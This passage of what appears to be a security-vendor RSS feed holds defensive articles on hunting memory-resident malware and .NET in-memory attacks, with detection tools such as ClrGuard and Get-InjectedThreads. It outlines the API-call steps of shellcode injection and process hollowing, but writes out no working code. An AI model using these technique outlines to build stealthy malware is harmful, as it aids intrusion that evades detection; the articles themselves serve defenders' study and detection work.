<p>To automate this type of hunt, I wrote a PowerShell function called <a href="https://gist.github.com/dezhub/2875fa6dc78083cedeab10abc551cb58">Get-ClrReflection</a> which looks for this combination of memory characteristics and will save any hits for further analysis. Below is sample output after running it against a workstation that was infected with Empire.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory-net-attacks/Hunting-memory-Users-joe-desktop-5.jpg" alt="Hunting-memory-Users-joe-desktop-5.jpg" /></p>
<p>Once again, you will see hits for legitimate applications that leverage the Assembly.Load function. One common false positive is for XmlSerializer generated assemblies. Standard hunt practices apply. Bucket your hits by process name or better yet with a fuzzy hash match. For example, ClrGuard (details next) will give you TypeRef hash with a “-f” switch. Below is an example from Empire.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory-net-attacks/Hunting-memory-TypeRef-System-String-6.jpg" alt="Hunting-memory-TypeRef-System-String-6.jpg" /></p>
<h3>Eventing-based detection</h3>
<p>Eventing-based detecting is great because you won’t need luck that an adversary is active while you are hunting. It also gives you an opportunity to prevent attacker techniques in real-time. To provide signals into the CLR on which .NET runs, we developed and released <a href="https://github.com/endgameinc/ClrGuard">ClrGuard</a>. ClrGuard will hook into all .NET processes on the system. From there, it performs an in-line hook of the native LoadImage() function. This is what Assembly.Load() calls under the CLR hood. When events are observed, they are sent over a named pipe to a monitoring process for further introspection and mitigation decision. For example, Empire’s psinject function can be immediately detected and blocked in real-time as shown in the image below.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory-net-attacks/Hunting-memory-CLR-Guard-7.jpg" alt="Hunting-memory-CLR-Guard-7.jpg" /></p>
<p>In a similar manner, OilRig’s ISMInjector can be quickly detected and blocked.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory-net-attacks/Hunting-memory-Client-connected-endgame-8.jpg" alt="Hunting-memory-Client-connected-endgame-8.jpg" /></p>
<p>Another example below shows ClrGuard in action against Casey Smith’s universal.js tool.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory-net-attacks/Hunting-memory-Administrator-endgame-9.gif" alt="Hunting-memory-Administrator-endgame-9.gif" /></p>
<p>While we don’t recommend you run ClrGuard across your enterprise (it is Proof of Concept grade), we hope it spurs community discussion and innovation against these types of .NET attacks. These sorts of defensive techniques power protection across the Endgame product, and an enterprise-grade ClrGuard-like feature will be coming soon.</p>
<h2>Conclusion</h2>
<p>It is important to thank those doing great offensive security research who are willing to publish their capabilities and tradecraft for the greater good of the community. The recent advancements in .NET in-memory attacks have shown that it is time for defenders to up their game and go toe-to-toe with the more advanced red teams and adversaries. We hope that ClrGuard and Get-ClrReflection help balance the stakes. These tools can increase a defenders optics into .NET malware activities, and raise visibility into this latest evolution of attacker techniques.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/hunting-memory-net-attacks/photo-edited-04@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Hunting In Memory]]></title>
            <link>https://www.elastic.co/es/security-labs/hunting-memory</link>
            <guid>hunting-memory</guid>
            <pubDate>Tue, 21 Jun 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Threat Hunters are charged with the difficult task of sifting through vast sources of diverse data to pinpoint adversarial activity at any stage in the attack.]]></description>
            <content:encoded><![CDATA[<p>Threat Hunters are charged with the difficult task of sifting through vast sources of diverse data to pinpoint adversarial activity at any stage in the attack lifecycle. To be successful, hunters must continually hone their subject matter expertise on the latest attacker techniques and detection methods. Memory resident malware, which presents itself in many forms, is an attacker technique that has existed for over a decade. The popularity of memory resident malware has steadily <a href="https://www.cyber.nj.gov/threat-analysis/fileless-evasive-intrusion-tactics-pose-challenge-for-network-defense">increased</a> over time, possibly resulting from the proliferation of code and knowledge of in memory techniques. More likely, its popularity reflects the success of memory-based techniques to evade detection by security products and practitioners. Once limited to advanced adversaries, memory resident techniques are now commonplace for all levels of adversary sophistication. I will examine the most common of these memory based attacker techniques, and walk through our team’s research to craft a scalable, low noise approach to hunting for adversaries that are hiding in memory.</p>
<h2>Attacker Techniques</h2>
<p>Before I address memory hunting methods to detect adversaries in your network, it is helpful to understand the common forms of memory resident malware. These techniques include shellcode injection, reflective DLL injection, memory module, process and module hollowing, and Gargoyle (ROP/APC).</p>
<h3>SHELLCODE INJECTION</h3>
<p>Shellcode injection is the most basic in-memory technique and has also been around the longest. The basic ‘recipe’ for shellcode injection is a four step process. These steps are: 1) open a target process (OpenProcess); 2) allocate a chunk of memory in the process (VirtualAllocEx); 3) write the shellcode payload to the newly allocated section (WriteProcessMemory); and 4) create a new thread in the remote process to execute the shellcode (CreateRemoteThread). The venerable <a href="https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf">Poison Ivy</a> malware uses this technique, which is a big reason why so many APT groups were drawn to it over the years.</p>
<p>If you pull up a Poison Ivy <a href="https://www.virustotal.com/en/file/e0a8e823b446764e2b536e81d3fefaa9a562dd8c0614b3bdb345233de27e216a/analysis/">sample</a>with x64dbg and set a breakpoint on VirtualAllocEx, you will soon locate the chunk of code responsible for the injection.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory/endgame-shellcode-injection.jpg" alt="Shellcode Injection" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory/endgame-shellcode-injection-2.jpg" alt="Shellcode Injection" /></p>
<p>In the first image, the push 40 instruction preceding the call to VirtualAllocEx corresponds to page access protection value of PAGE_EXECUTE_READWRITE. In the following screenshot from <a href="http://processhacker.sourceforge.net/">ProcessHacker</a> of the memory layout of a Poison Ivy implant, you can see it allocates a number of these RWX sections.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory/endgame-poinson-ivy-implant.jpg" alt="Poison Ivy Implant" /></p>
<p>Typical code sections are of type ‘Image’ and map to a file on disk. However, these are type ‘Private’ and do not map to a file on disk. They are therefore referred to as unbacked executable sections or floating code. Threads starting from these types of memory regions are anomalous and a good indicator of malicious activity. ProcessHacker can also show you the call stack of the malware threads. There are multiple functions in the call stack which do not map to memory associated with loaded modules.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory/endgame-processhacker.jpg" alt="ProcessHacker" /></p>
<h3>REFLECTIVE DLL INJECTION</h3>
<p>Reflective DLL injection, originally developed by <a href="https://github.com/stephenfewer/ReflectiveDLLInjection">Steven Fewer</a>, is another type of in memory attacker technique. Metasploit’s <a href="https://github.com/rapid7/metasploit-payloads/tree/master/c/meterpreter">Meterperter</a> payload was one of the first attempts to fully weaponize the technique, but many malware families use it today. Reflective DLL injection works by creating a DLL that maps itself into memory when executed, instead of relying on the Window’s loader. The injection process is identical to shellcode injection, except the shellcode is replaced with a self-mapping DLL. The self-mapping component added to the DLL is responsible for resolving import addresses, fixing relocations, and calling the DllMain function. Attackers benefit from the ability to code in higher level languages like C/C++ instead of assembly.</p>
<p>Classic reflective DLL injection, such as that used by Meterpreter, is easy for hunters to find. It leaves large RWX memory sections in the process, even when the meterpreter session is closed. The start of these unbacked executable memory sections contain the full MZ/PE header, as shown in the images below. However, keep in mind that other reflective DLL implementations could wipe the headers and fix the memory leak.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory/_endgame-unbacked-executable-memory-sections.jpg" alt="Unbacked executable memory sections" /></p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory/_endgame-unbacked-executable-memory-sections-2.jpg" alt="unbacked executable memory sections" /></p>
<p>The DLLs loaded in memory also conveniently export a self-describing function called ReflectiveLoader().</p>
<h3><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory/endgame-reflective-loader.jpg" alt="Reflective Loader" /></h3>
<h3>MEMORY MODULE</h3>
<p><a href="https://github.com/fancycode/MemoryModule">Memory module</a> is another memory resident attacker technique. It is similar to Reflective DLL injection except the injector or loader is responsible for mapping the target DLL into memory instead of the DLL mapping itself. Essentially, the memory module loader re-implements the LoadLibrary function, but it works on a buffer in memory instead of a file on disk. The original implementation was designed for mapping in the current process, but updated techniques can map the module into <a href="https://github.com/DarthTon/Blackbone">remote processes</a>. Most implementations respect the section permissions of the target DLL and avoid the noisy RWX approach.</p>
<p><a href="https://www.proofpoint.com/us/threat-insight/post/nettraveler-apt-targets-russian-european-interests">NetTraveler</a> is one malware family that uses a memory module style technique. When NetTraveler starts, it unpacks the core functionality and maps it into memory. The page permissions more closely resemble a legitimate DLL, however the memory regions are still private as opposed to image.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory/endgame-nettraveler-permissions.jpg" alt="NetTraveler page permissions" /></p>
<p>The active threads have start addresses at these private regions. The callstack also reveals these malicious sections.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory/_endgame-callstack-malicious-sections.jpg" alt="endgame-callstack-malicious-sections.png" /></p>
<p><a href="https://hitcon.org/2016/pacific/0composition/pdf/1201/1201%20R2%201610%20winnti%20polymorphism.pdf">Winnti</a> is yet another malware sample that uses the Memory Module technique. They had a minor slip on the section permissions of the first page, as you can see below.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory/endgame-section-permissions.jpg" alt="endgame-section-permissions.jpg" /></p>
<p>However, the Winnti sample was notable because the MZ/PE headers in the DLL were erased, making it more difficult to detect.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory/_endgame-DLL.jpg" alt="_endgame-DLL.jpg" /></p>
<h3>PROCESS HOLLOWING</h3>
<p>Process hollowing is another technique attackers use to prevent their malware from being detected by security products and hunters. It involves creating a suspended process, unmapping (hollowing) the original executable from the process, allocating and writing a new payload to the process, redirecting the execution of the original thread to the new payload with SetThreadContext, and finally calling ResumeThread to complete. More stealthy variants use Create/Map section APIs to avoid WriteProcessMemory. Others modify the entry point with a jump instead of using SetThreadContext.</p>
<p><a href="https://journeyintoir.blogspot.com/2015/02/process-hollowing-meets-cuckoo-sandbox.html">DarkComet</a> is one of many malware families that use process hollowing techniques. Several artifacts can be used to detect process hollowing. One dead giveaway for this activity is a process being spawned with the CREATE_SUSPENDED flag, as shown in the following screenshot from a DarkComet sample.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory/_endgame-darkcomet-sample.jpg" alt="_endgame-darkcomet-sample.jpg" /></p>
<h3>MODULE OVERWRITING</h3>
<p>So far, all techniques discussed have led to the execution of non-image backed code, and were therefore fairly straightforward to detect. Module overwriting, on the other hand, avoids this requirement, making it much more difficult to detect. This technique consists of mapping an unused module into a target process and then overwriting the module with its own payload. Flame was the first widely publicized malware family to use this technique. More recently, Careto and Odinaff malware families have used module overwriting techniques. Various techniques can be used to reliably detect module overwriting, which involves comparing memory to associated data on disk.</p>
<h3>GARGOYLE</h3>
<p><a href="https://jlospinoso.github.io/security/assembly/c/cpp/developing/software/2017/03/04/gargoyle-memory-analysis-evasion.html">Gargoyle</a> is a proof of concept technique for memory resident malware that can evade detection from many security products. It accomplishes this feat by laying dormant with read-only page protections. It then periodically wakes up, using an asynchronous procedure call, and executes a ROP chain to mark its payload as executable before jumping to it. After the payload finishes executing, Gargoyle again masks its page permissions and goes back to sleep. One way to detect this attacker technique is to examine threads and user APCs for evidence of ROP chains.</p>
<h2>Detecting In-Memory Attacks</h2>
<p>Given the proliferation and accessibility of these techniques, security personnel must be vigilant for memory-based attacker techniques and proactively hunt for them on their networks. However, most products cannot generically detect in-memory attacks at scale, leaving defenders with an enormous gap in their ability to protect against these attacks. Endgame has done significant research to bring low-noise detection capabilities into our product for each method mentioned above.</p>
<p>Given the immense size and impact of this detection gap, it is important to raise all boats, not just those of our customers. For this reason, we collaborated with Jared Atkinson on his powershell tool called <a href="https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2">Get-InjectedThreads</a>, which implements a relatively low-noise method of detecting in memory threats. It scans active threads on the system for suspicious start addresses. Hunters leverage it to scan hosts in their networks and quickly identify many memory resident malware techniques. The script works by querying each active thread with the NtQueryInformationThread function to retrieve its start address. The start address is then queried with the VirtualQueryEx function to determine the associated section properties. If the memory region where the thread started is unbacked and executable (i.e. not image type and has execute bit set), then the thread is considered injected. The following screenshot shows a sample detection when run on a system infected with a 9002 RAT <a href="https://www.virustotal.com/en/file/49ac6a6c5449396b98a89709b0ad21d078af783ec8f1cd32c1c8b5ae71bec129/analysis/">sample</a>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/hunting-memory/_endgame-RAT-sample.jpg" alt="_endgame-RAT-sample.jpg" /></p>
<p>The script will catch a variety of malware families leveraging the shellcode injection, reflective DLL, memory module, and some process hollowing techniques. However, it is no replacement for security products that comprehensively prevent in-memory attacks, such as Endgame.</p>
<h2>Enterprise In-Memory Detection at Scale</h2>
<p>Endgame has built detections for each of these techniques (and many more) into our enterprise security platform, offering best in market capabilities to locate in-memory threats. We do not simply rely on naïve approaches like monitoring well-known system call sequences for process injection, but efficiently analyze memory to find all known evasion capabilities. This provides our users with thread-level visibility on injected code, as well as sophisticated follow-on actions like examining the injected code and suspending only a malicious injected thread to remediate the threat. Our platform is effective both in stopping injection as it is happening in real time as well as locating already resident adversaries hiding in memory, locating threats across tens of thousands of hosts in seconds.</p>
<p>Like any signatureless detection technique, false positives (FPs) are an important consideration. As we researched and implemented our technique-based preventions for each adversary technique described above, we initially encountered FPs at every step of the way. Handling these correctly in our product is of paramount importance.</p>
<p>Most FPs are related to security software, Just-In-Time (JIT) compiled code, or DRM protected/packed applications. Security products sometimes inject code to some or all processes on the system to enhance their behavioral detection capabilities. The downside is if the product is sloppy in its methods, it can actually <a href="https://www.blackhat.com/docs/us-16/materials/us-16-Yavo-Captain-Hook-Pirating-AVs-To-Bypass-Exploit-Mitigations.pdf">harm</a> the security of the system and make hunting for real in memory threats more difficult. JIT code, another potential area for false positives, generates assembly code at runtime which lives in unbacked or floating memory regions. .NET or Java applications are a couple of examples which use JIT techniques. Fortunately, this type of code is easier to identify and filter than rogue security products. Lastly, applications packed or protected with Digital Rights Management (DRM) schemes should be kept in mind. These applications may decrypt or deobfuscate their core functionality in memory to deter debugging and reverse engineering. However, the same techniques are used by malware to evade detection and deter analysis from security practitioners.</p>
<p>Through careful design decisions and extensive testing, we have managed to achieve very low false positive rates, allowing Endgame users to root out in-memory threats rapidly.</p>
<h2>Conclusion</h2>
<p>Adversaries will continue to innovate new techniques to avoid detection and accomplish their objectives. Memory resident techniques are no exception, and have been a thorn in the side of endpoint security defenders for over a decade. Fortunately, by understanding the latest techniques, we can turn the tables and use this knowledge to develop new high fidelity detection methods. At Endgame, our comprehensive approach to these attacks have led us to a market leading position for fileless attack detection (adding to our other key technologies). For more on hunting for in-memory attacks, check out our <a href="https://www.slideshare.net/JoeDesimone4/taking-hunting-to-the-next-level-hunting-in-memory">slides</a> from our SANS Threat Hunting and IR Summit presentation.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/hunting-memory/blog-thumb-generic-black.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>